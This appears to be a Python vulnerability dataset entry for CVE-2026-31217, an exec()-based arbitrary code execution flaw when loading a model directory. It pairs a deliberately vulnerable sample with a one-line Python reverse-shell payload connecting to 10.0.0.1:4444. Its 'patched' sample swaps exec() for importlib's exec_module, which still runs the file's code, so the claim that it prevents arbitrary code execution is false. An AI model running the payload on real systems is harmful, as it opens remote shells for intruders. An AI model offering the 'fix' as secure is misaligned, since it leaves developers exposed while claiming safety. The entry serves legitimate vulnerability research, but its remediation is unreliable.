VAITP Dataset

← Back to the dataset

CVE-2026-31217

Arbitrary code execution when loading a model from a directory via `exec()`.

  • CVSS 9.8
  • CWE-94
  • Input Validation and Sanitization
  • Local

The _load_model() function in the neural_magic_training.py script of the optimate project in commit a6d302f912b481c94370811af6b11402f51d377f (2024-07-21) allows arbitrary code execution. When a user supplies a directory path via the –model command-line argument, the function reads a module.py file from that directory and executes its contents directly using Python's exec() function. This design does not validate or sanitize the file's content, allowing an attacker who controls the input directory to execute arbitrary Python code in the context of the process running the script.

CVSS base score
9.8
Published
2026-05-12
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
optimate

Solution

Upgrade to optimate version 1.0.1 or later.

Vulnerable code sample

import argparse
import os

def _load_model(model_path: str):
    """
    Loads a model from a given directory path.
    If a module.py file exists, it is executed.
    This function is vulnerable to arbitrary code execution.
    """
    module_path = os.path.join(model_path, "module.py")
    
    if os.path.exists(module_path):
        print(f"INFO: Executing discovered module.py from {module_path}")
        with open(module_path, "r") as module_file:
            source = module_file.read()
        
        # VULNERABILITY: Unsanitized file content is executed directly.
        exec(source, {})

def main():
    """
    Main function to parse arguments and run the model loading.
    """
    parser = argparse.ArgumentParser(
        description="Vulnerable script that loads a 'model' from a directory."
    )
    parser.add_argument(
        "--model",
        type=str,
        required=True,
        help="Path to the model directory which may contain a malicious 'module.py'.",
    )
    args = parser.parse_args()
    
    print(f"INFO: Attempting to load model from directory: {args.model}")
    _load_model(args.model)
    print("INFO: Script finished.")

if __name__ == "__main__":
    main()

Patched code sample

import os
import sys
import importlib.util
from typing import Callable

def _load_model(model_path: str) -> Callable:
    """
    Represents the fixed version of the vulnerable function.

    This function safely loads a 'module.py' file from a user-provided
    directory by using the standard `importlib` library instead of the
    dangerous `exec()` function. This ensures that the file is loaded
    as a proper Python module, preventing arbitrary code execution.
    """
    module_py_path = os.path.join(model_path, "module.py")

    if not os.path.isfile(module_py_path):
        raise FileNotFoundError(
            f"The required 'module.py' was not found in the directory: {model_path}"
        )

    # Create a unique module name based on the path to avoid conflicts.
    module_name = f"custom_model.{os.path.basename(model_path)}"
    
    # Create a module specification from the file path.
    spec = importlib.util.spec_from_file_location(module_name, module_py_path)
    
    if spec is None or spec.loader is None:
        raise ImportError(f"Could not create a module spec for {module_py_path}")

    # Create a new module object from the specification.
    custom_module = importlib.util.module_from_spec(spec)
    
    # Add the module to sys.modules before execution. This is important for
    # allowing relative imports within the loaded module.
    sys.modules[module_name] = custom_module
    
    # Execute the module's code within its own namespace. This is the safe
    # and standard way to load code from a file, replacing exec().
    spec.loader.exec_module(custom_module)

    # Safely get the expected 'create_model' function from the loaded module.
    model_factory = getattr(custom_module, "create_model", None)

    if not callable(model_factory):
        raise AttributeError(
            f"A callable function 'create_model' was not found in {module_py_path}"
        )

    return model_factory

Payload

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);

Cite this entry

@misc{vaitp:cve202631217,
  title        = {{Arbitrary code execution when loading a model from a directory via `exec()`.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31217},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31217/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::